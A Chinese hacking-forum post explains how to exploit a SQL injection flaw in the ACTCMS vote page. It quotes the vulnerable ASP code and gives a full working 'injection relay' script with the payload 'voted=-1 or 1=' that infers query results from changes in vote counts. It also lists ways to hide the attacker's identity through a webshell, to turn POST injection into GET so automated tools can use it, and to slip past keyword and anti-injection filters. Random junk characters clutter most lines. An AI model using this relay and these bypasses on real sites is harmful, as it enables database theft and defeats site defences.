找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2117|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

2 Q, i$ M/ l- Z' U看到ninty大牛的blog的一篇文章
7 |# g; G9 c  E  y( C7 b4 \9 ]7 N链接标记[url]http://www.forjj.com/?action=show&id=80[/url]; S& U  g6 G0 N( }
关于actcms漏洞的利用  by 3x qq:381862589
# k( c) {& O) g# ^" }0 V1 i转载请注明以上* T1 s4 P, L# f( p: H2 z+ b, L
漏洞文件:
/ z) I& o' K2 a' a6 w8 ^; b3 R/plus/vote/vote.asp, P" }5 V9 l% i7 V- f
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    5 ]" z' R- i5 K1 K) }) N9 S
% X9 M3 m$ D: p! c9 s. o# t
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ( [8 X0 d5 E! _
3 t3 U1 M) X9 y! ]: e" i
3    response.end   
5 K5 U5 ?; T0 J' \$ G2 j3 Y
1 N# j( y. O8 F" Q9 ]& |, H! N: n4    end if   
. {* ?1 `  R! e; S1 q" _: w, B& L$ n, Z# o" e3 e6 |0 L
5    for i=1 to request("voted").count   
; u  i2 ]3 d4 ?9 ^) P6 p4 X
9 X- l% b8 ~3 R7 S0 x2 |6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    0 `6 C2 J+ b, P! M

6 L" r. r3 R  m$ h8 w( c" |: d6 V7    next   
5 u: k( }, D( a5 }- \% e5 j0 r
3 y/ k( c3 \7 y, R8....    9 P5 f5 m- d) P
  V" i3 g! ~* `8 K  P
9response.Redirect "index.asp?id="&id&""   
1 m) w. y, w* w1 S  k  o投票结束回跳转回index.asp这个投票结果页面
  y) E2 ]$ [! r! O' Q3 r如果投票成功票数加1: _: l9 v& Q# M
            失败票数不变' [* x/ |( p3 [9 W- H0 W/ x
如图:
* O, g, H* T  M) `" Ghttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
- h" S* `# G3 N% X* r3 }: Z) P/ O; @
2009-12-27 13:20! q+ M6 t7 I0 w! y. M6 V

( }# o) w  z: H- ?' n& G利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
# f( ?! B+ p9 _; d, ?$ ?9 V/ I) [. A' b4 c0 l
本帖隐藏的内容需要回复才可以浏览
2 F% z; e: ^1 z1 a9 V2 S9 u" r我们用注入中转来实现这个注入具体代码如下:# ]( @# o1 G1 e6 V8 D# ^$ V! |
先用寂寞的刺猬大牛的注入中转生成jmget.asp
" W6 m6 d3 |' @注入地址:http://localhost/actcms/plus/vote/vote.asp
- K5 _! y6 W$ m# v注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
3 w4 S1 v, F/ d' X% A) a; u7 ]1 U2 l+ J4 L/ A- I! X
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
, V2 z; [; R2 a/ P
: y/ p1 d+ ~1 ^6 L4 e02JmdcwName=request("jmdcw") % v" W+ b$ Z4 G4 Q6 X1 |

' Q; W' R0 G& h6 G( F9 ^03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 5 o' {, P) i' W+ ^

4 V; [$ B: q# n  b( h; C04JmStr="id=1&voted=-1 or 1="&JmdcwName 8 N# _+ M" W$ Q2 X" c9 z' L* d

, R+ c: X$ E% F" @. z4 W05JmStr=URLEncoding(JmStr)
( U. g& K; o: ~' s/ m  R" k7 |, @% t" B* n0 X  G
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
/ [  Y: O, e3 T! j2 R( Y$ i6 X% N3 ~, R' |" S4 N# @: w6 R
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"0 k9 I% G. \' v! f
: E! i& z& a" G# |  n
08testurl=testurl & "?" & JmStr ! P2 H1 _. P& V+ h' q5 n

" G& p. I- F( Y4 y. ]2 s& z09JMUrl=JMUrl & "?" & JmStr " i$ t' v* y( t, x2 C

4 m, O& [- `9 U7 I* z) _10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; \7 c/ ^5 v7 u+ L$ \2 t- M" M; w( i! U) @* B
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"2 m3 X9 A% a! R: w" M+ o

  J( u* J! M7 `8 W4 a% l2 ]12JmCok=replace(JmCok,chr(32),"%20")  
7 ~+ [8 ^& x- K6 f- N. H. g; n" S$ s: o, s! w* [' p
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ' c' Q' |( C8 d' V- _: P

9 ]' r6 x3 @+ Y, R: K14  " {( {; k; K3 ?4 F( M6 O

( I/ _2 o# f. E2 @* D4 ]( m15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 1 Q* d" y% X& P8 _) `" [. R
/ a* \, |: ~8 ^
16  9 [6 W" U2 f9 L$ A

' o5 n6 G# y8 d7 o+ M% i17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 3 @' Q; C; x$ \; L4 R; W% G

( Q$ ^$ b* t* [* S1 `6 e5 O* c18response.write test1&""&test2&""
( F  ^1 |0 p# h- ]( D6 W$ P7 k6 ?
19  
4 V7 c: B1 m5 j/ X5 u$ I1 ~. J) [" s+ R( w! x& J
20if test1=test2 then '如前后记录相等,表示失败 5 h9 S: ]3 Y3 s" Q2 z5 |( r
# c% ]1 j6 _$ |  P
21  response.write "failed": N5 w+ n& G( b7 i  p

6 s# y) b5 `. N6 U3 G7 O22else * j6 _6 N) Y; Z9 ^8 s& {

, O4 w! _6 K- Y; b; p; v" J8 o+ s23  response.write "succeed"3 J4 {) L5 {) t+ X* O: K

0 _" }& l: \5 U' L% h9 r$ O* S  j0 G24end if  ; ~) q3 \* T* M5 x
' S+ {4 f0 {0 X3 X+ u1 R% |
25  
% Q- Y; \# q) z( y
" D8 x6 N$ }8 T2 h# k6 G26response.write "by 3x"
! m) c9 u1 c% t, S8 i3 G7 \' B4 W: h/ z  L
27  * D  ]& J! W0 |/ C7 l

0 P4 l' Q6 d* b- `28  6 v( i, ^4 L) s% a+ N: g, ?# B: x

* ^, m: r6 b  p  X& q3 x  ?: ?9 ]2 ~29Function PostData(PostUrl,PostStr,PostCok,PostRef)   ) B+ I( @( I7 F0 [, i

$ W/ x: ?2 D$ E8 c30Dim Http % q+ P- a1 u5 g* B
# n7 `0 ]3 y# \# Q: X6 h; h+ D
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 0 o$ i! z* w5 C) L4 m5 _+ f4 {' K

7 C2 I6 h/ ]/ J0 i9 s32With Http
/ `* Y- X$ I" h0 i7 P) W
+ `# ~: ?( l+ I, Q4 X- ~/ Y33  
) X# I% N) F6 d/ u, i! A
: \  G# j' w/ p5 H4 l2 K  j34.Open "GET",PostUrl,False4 W* R! m! \# C$ {' \1 F" F* g

+ _: e2 u& j/ v( m35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 `* D: M7 _3 v6 A. F. K: B: X2 H6 v: }  {0 A* v3 A) i: V
36.SetRequestHeader "Referer",PostRef ; w4 S4 ], o9 d& G7 ^% @: y" V
& Z5 A* i( w7 f! G) X
37.SetRequestHeader "Cookie",PostCok
$ J8 F  ~' O# S9 J% o- t8 T3 i! \# i6 Y% y, E1 O
38.Send ()
* p' N8 B* [* H- M
' x0 ~2 |5 k8 b$ n7 v6 @  S39PostData = .ResponseBody 8 [- x( F: l+ B# ?
, `) I! z! Y" T3 I; u1 B1 {& z
40End With
$ y* \7 X; |$ h, R9 `/ L3 h8 b2 e9 h% k9 ?' G! S
41Set Http = Nothing5 I* d/ G( B) D* o/ I" h
* F$ X6 M5 w& q/ V: a4 q8 r$ q. q
42PostData =bytes2BSTR(PostData)
/ b. Y7 n8 Q/ X' p  I! R- q% {" h. c
43End Function( K5 P: D) U' @1 q0 [
3 `8 n! P; C& C( `* [( |
44  
3 s* E5 \, q3 u- U2 P
& k+ D7 d8 ^: t45  ' T8 V- K7 B5 ~' A- s

. k- n& m2 _$ A3 R8 h" g0 F46Function bytes2BSTR(vIn)
0 P1 C/ S2 a+ }# Z6 ~/ c& t& l0 S1 A* n- R
47Dim strReturn ( B) m& j4 b: f+ I
' @; Y# a3 g3 V% H
48Dim I, ThisCharCode, NextCharCode 2 K. [; M2 {* a, C: J

1 T) H& f- K1 N$ Y& H% ^& Y: i49strReturn = ""
/ }* j$ E" W. J" Y+ u
: h' m8 V# R5 M6 Q% m$ M, H3 b0 r5 x50For I = 1 To LenB(vIn) 3 [6 y) i* B5 H  G$ q

. w  z* ]# S* p& _$ g) `51ThisCharCode = AscB(MidB(vIn, I, 1)) , s6 S6 x, L+ X! ~
* n3 ^) v& O7 U* j/ Q. i0 i9 t
52If ThisCharCode < &H80 Then; ~% W9 J0 l# H3 \9 P
0 s" V% q3 t# }& d& F* @. n% L" Z
53strReturn = strReturn & Chr(ThisCharCode)
; O+ u9 C/ D# i1 t  D+ y. T3 a& l8 F( ]
54Else
' X' S( X3 ?( x: L, o4 U" v. ]
) t8 }4 M* K+ `9 C( g55NextCharCode = AscB(MidB(vIn, I + 1, 1)) % _/ [. K; M1 k/ A# b
% H* m/ m- n; Y3 B9 z
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 7 J- [( c; `9 s+ ]7 _9 Y
/ W9 f5 L+ f8 F7 ]% E
57I = I + 1
7 M( t; b* C! P4 k. j. A2 x* b6 N
58End If* Z' T. _( O9 \2 R9 l+ `

+ b# k* N- G3 L. O. T/ v59Next0 ~- G3 H+ Y! v) w6 B  x

' h0 S* S3 ?* o60bytes2BSTR = strReturn
* ?" \1 w) b) s4 D
' H( W8 _" F2 Z. I  n# A; @& r7 d61End Function, i( p4 r3 H# `" `9 n

8 @! u) x7 ]0 W, ~62  
( B) I$ P- h. Q. N
5 R* [, X5 |: i" `63Function URLEncoding(vstrin)  
" ]/ t: D' V4 b% W6 Z# [1 X3 d' j$ d7 {  H0 c1 J& N/ \- U5 ^2 G
64strReturn=""
( x. R$ l' a+ h( u, i* Y& W0 ]
( q8 ~5 o/ a) T4 _; u/ g- a65Dim i
! `' N, g; R) L5 ~% w' j
3 Z2 E6 ~5 i) `1 f. S66For i=1 To Len(vstrin)
9 m! E1 d  _6 Z% m- L
) G9 B( W1 [* O$ i% \67ThisChr=Mid(vstrin,i,1) 2 j8 {# P5 v( y: s) A

/ E( l# Q/ Z' a9 C. J$ M68if Abs(Asc(ThisChr))< &HFF Then
# ~. ^8 v# J' K( v7 l, c
  @: d! z$ I" M1 M* }3 @69strReturn=strReturn & ThisChr 5 {' `4 y3 b9 S
' J1 Y- u0 Y& R
70Else0 J3 a+ e/ d! c9 L7 u# k

+ @2 ^5 U. L, K( ?4 r9 r71InnerCode=Asc(ThisChr)
; @8 A- D6 H( N( m- W
' Z# F  E" [2 v) w- B72If InnerCode<0 Then) v% K  s1 D( K0 J

* ^3 ?  g1 \3 `) d/ l2 }) L. K73InnerCode=InnerCode + &H10000 1 S$ U# v' D" u0 k
9 K2 ^' c! c+ k4 M
74End If
' b8 b  `3 c4 A* G3 i& n7 M
- m1 C- q2 P0 q$ v1 z% j0 F2 Y75Hight1=(InnerCode And &HFF00) \&HFF 0 f7 G4 I4 }+ q; p" l, G0 |% R
+ ^, r4 v, }3 x7 D; B  k# i* C6 d
76Low1=InnerCode And &HFF
( U5 W9 j, g4 G/ i
; H. f& `- j% z5 _* Z: Y77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 d. u5 z6 `" |% A2 r
8 _' Y. z/ d8 R: \6 l" O
78End if
, t; J$ F5 v" [+ p9 r, ]5 ]; t4 ]; ]/ D0 p% ~" Z2 p
79Next
/ j" C2 z; g$ q3 D1 N! q6 f
6 o! [$ d/ V3 u: o4 P' D8 `4 ]80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
- |' a' ]9 J  z$ Q! `
/ I% y; L7 }) h% |81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ( y: n3 t; o; n+ t8 Y

( k5 _0 y0 O2 K# t5 P* Y82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 $ n1 c0 H, h" e1 u% o- b  y
5 Q- V3 B$ t* L/ c
83URLEncoding=strReturn / |, S4 c% N! H
! K. x3 z1 O% w% F" ^
84End Function
  U1 Y% v. u: X
3 Z, k1 y: s* Q85  7 p9 j+ g9 O0 Y* x
: l/ r/ `# `4 c, I+ A0 t
86function getSt(body) 7 ^$ G; Z! X1 X/ W' b

$ f0 A1 _7 w, C- ]. q, ?8 Z4 W4 j# g1 i87  startpot=instr(body,"投票人数:")+len("投票人数:") : n! o% D3 E/ t* D/ D6 d
/ m( W5 K% G: g6 j
88  endpot=instr(startpot,body," ") # `0 N# u6 W7 N  x. d

8 }& H0 C0 e) H9 {89  getSt=mid(body,startpot,endpot-startpot) 2 @$ S. d5 X0 {5 S

# }& s/ r3 B$ w90end function 0 F5 q! K" v2 |$ B) ^, G

( p3 J9 C3 v; S% b* F$ j91%>( b# e1 Q( k5 ?
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
1 k9 }4 i. Q  \1 |% |8 S" |( O测试下效果:
9 Q6 X5 O* k; v$ x3 f" H投票成功:" v( Z* K' Q! X" n( i/ ]/ D  B
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)' j0 I5 P$ b' D9 k' }/ d' @

2 F+ L, A0 u4 H4 j4 C2009-12-27 13:29
' ]8 e  f: c( j2 G$ C* v0 M# ^7 C投票失败" Y- h' n: k; ]0 j  E
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)5 z( a  }* K1 e6 l+ B; E

3 h! f9 g& \3 z( f1 Z' I% m! Y2009-12-27 13:29; l2 k' }. Y# j) e/ l7 u
-------------------------------------------------------------------------------
3 r* V) o5 U! V, ]5 e再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
8 b3 a' L6 U( t" Y, J. P7 [" k很抱歉。。。只能用单线程工具去注入。。。。。( C2 ^! D$ M  O* R% l" g
所以失败。。。不好意思。。。
1 e/ V% n+ j/ }-------------------------------------------------------------------------------
% w7 H1 T" k9 D: n4 b
8 K6 O! R9 L8 x* I4 q& x  \注入中转的一些其他应用
1 Q6 _0 p& ^, y2 @5 V其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
6 K- ^+ L$ A9 t/ \4 w1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id& M$ [" _  E$ D$ ^: [
2.post注入转成get型的注入,方便我们使用工具来跑
8 C# e0 u* Z3 ^& ~6 C3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")9 n0 Y) l0 q) [+ O: h
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过/ T1 e& H+ X# E! z
7 r7 ]  f5 {6 v, G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表